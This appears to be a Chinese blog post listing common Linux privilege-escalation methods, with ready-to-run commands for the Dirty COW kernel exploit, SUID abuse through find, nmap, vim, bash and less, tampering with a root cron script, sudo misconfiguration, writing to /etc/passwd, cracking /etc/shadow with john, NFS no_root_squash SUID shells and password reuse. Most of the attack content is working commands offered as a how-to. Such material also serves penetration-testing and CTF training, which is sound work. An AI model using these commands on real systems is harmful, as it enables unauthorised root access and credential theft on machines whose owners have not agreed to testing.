Loading ...
Linux 提权的几种常用姿势

一、内核漏洞提权

内核漏洞是 Linux 提权的经典途径,其中 “脏牛(Dirty Cow)” 漏洞因影响范围广而具有代表性。

(一)漏洞简介
  • CVE 编号:CVE-2016-5195

  • 原理:Linux 内核处理 “写入复制(copy-on-write)” 机制时存在竞争条件,允许恶意用户对只读内存映射进行写访问,进而篡改系统文件(如/etc/passwd),提升至 root 权限。

  • 影响范围:近十年内的主流 Linux 发行版(RedHat、Debian、Ubuntu、CentOS 等)。

(二)检测方法

通过内核版本判断是否受影响,检测命令:uname -a(查看内核版本),若目标内核版本低于以下修复版本,则存在漏洞:

系统版本 修复后的内核版本
CentOS7/RHEL7 3.10.0-327.36.3.el7
CentOS6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
(三)利用步骤
  1. 获取漏洞脚本:从 GitHub 下载 exp(如https://github.com/gbonacini/CVE-2016-5195)。

  2. 上传脚本到靶机

    • 靶机监听:nc -l 9528 > exp.zip

    • 攻击机上传:nc 靶机IP 9528 < exp.zip

  3. 编译并执行

    unzip exp.zip
    cd CVE-2016-5195-master
    make  # 或 gcc -pthread 40839.c -o 40839 -lcrypt(编译漏洞利用程序)
    ./dcow  # 执行程序,生成临时root密码(如dirtyCowFun)
    su  # 输入生成的密码,切换至root用户

二、SUID 配置错误提权

SUID(Set User ID)是一种特殊权限,允许执行者临时获得文件属主的权限。若 root 属主的二进制文件被错误配置 SUID,普通用户可借此提权。

(一)关键特性
  • 仅二进制文件可设置 SUID,脚本文件无效;

  • 执行者需拥有该文件的执行(x)权限;

  • 权限仅在程序执行期间有效。

(二)检测方法

查找所有具有 root 属主的 SUID 文件:

chmod u+s FILE...   #对文件赋予 SUID 权限
find / -perm -u=s -type f 2>/dev/null  # 查找所有SUID文件
find / -user root -perm -4000 -print 2>/dev/null  # 仅root属主的SUID文件
(三)常见可利用命令及操作
命令 利用场景 操作步骤
find 具有 SUID 权限时,通过 – exec 执行命令 touch test; find test -exec /bin/sh \;(获取 root shell)
nmap(旧版本 2.02-5.21) 支持交互模式执行 shell nmap --interactive!sh(直接获取 root shell)
vim 以 root 权限编辑文件或打开 shell vim.tiny /etc/shadow(读取密码 hash);vim.tiny:set shell=/bin/sh:shell(获取 shell)
bash 以 SUID 权限运行 bash bash -p(保留 root 权限)
less/more 查看文件时执行 shell less /etc/passwd!/bin/sh(获取 shell)

三、计划任务提权

系统计划任务(由crontab管理)以所属用户权限运行。若 root 的计划任务存在权限漏洞(如脚本可被普通用户修改),可通过篡改脚本提权

(一)检测方法

查看系统级计划任务:

ls -l /etc/cron*  # 列出所有计划任务目录
cat /etc/crontab  # 查看系统级计划任务
(二)利用步骤
  1. 发现可利用任务:找到 root 执行的计划任务(如/sbin/test.sh),检查权限:

    ls -l /sbin/test.sh  # 若权限为777(所有人可读写),则可利用
  2. 篡改脚本:在脚本中添加 SUID 权限配置:

    echo 'cp /bin/bash /tmp/bash; chmod u+s /tmp/bash' > /sbin/test.sh
  3. 获取 root 权限:等待计划任务执行后,运行/tmp/bash -p获取 root shell。

四、sudo 提权

sudo允许普通用户以 root 权限执行指定命令。若/etc/sudoers配置不当(如免密码执行所有命令),普通用户可直接提权。

(一)检测方法

查看当前用户的 sudo 权限:

sudo -l  # 查看当前用户可执行的sudo命令
(二)利用场景
  • 免密码配置:若/etc/sudoers中存在用户名 ALL=(ALL:ALL) NOPASSWD:ALL,允许用户无需密码执行所有命令:

    sudo /bin/sh  # 直接获取root shell
  • 特定命令免密:若允许免密执行vim,可通过vim打开/etc/passwd修改 root 密码。

五、明文 root 密码提权

Linux 密码存储于/etc/passwd(用户信息)和/etc/shadow(密码 hash)。若两文件权限配置错误,可直接获取或修改 root 密码。

(一)利用方法
  1. 修改/etc/passwd

    • 若文件可写(权限为 666),将 root 行的密码字段(x)替换为已知 hash(如root:$6$xxx...,可通过openssl passwd -1 -salt abc 123生成密码 hash)。

  2. 爆破/etc/shadow:若文件可读,提取 root 的 hash 后用john爆破:

    john --user=root shadow.txt  # 爆破密码(需提前安装john the ripper)

六、第三方服务提权(以 NFS 为例)

NFS(网络文件系统)允许客户端挂载服务器共享目录。若服务器配置no_root_squash(客户端 root 权限不被压缩),客户端可创建 SUID 文件提权。

(一)检测方法

查看 NFS 共享配置:

sudo showmount -e 目标IP  # 查看目标共享目录
(二)利用步骤
  1. 客户端挂载共享目录

    sudo mkdir /tmp/nfs
    sudo mount -t nfs 目标IP:/home/share /tmp/nfs  # 挂载共享目录
  2. 创建 SUID shell

    cp /bin/bash /tmp/nfs/rootbash
    chmod u+s /tmp/nfs/rootbash  # 设置SUID权限
  3. 在目标服务器提权

    /home/share/rootbash -p  # 运行带SUID的bash,获取root权限

七、密码复用提权

管理员常复用密码(如数据库密码、web 后台密码与 root 密码相同)。获取低权限密码后,可尝试用于 root 登录。

(一)利用场景
  • 从数据库配置文件(如/var/www/config.php)获取密码;

  • 从 web 后台爆破或泄露的密码尝试su rootssh root@目标IP

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇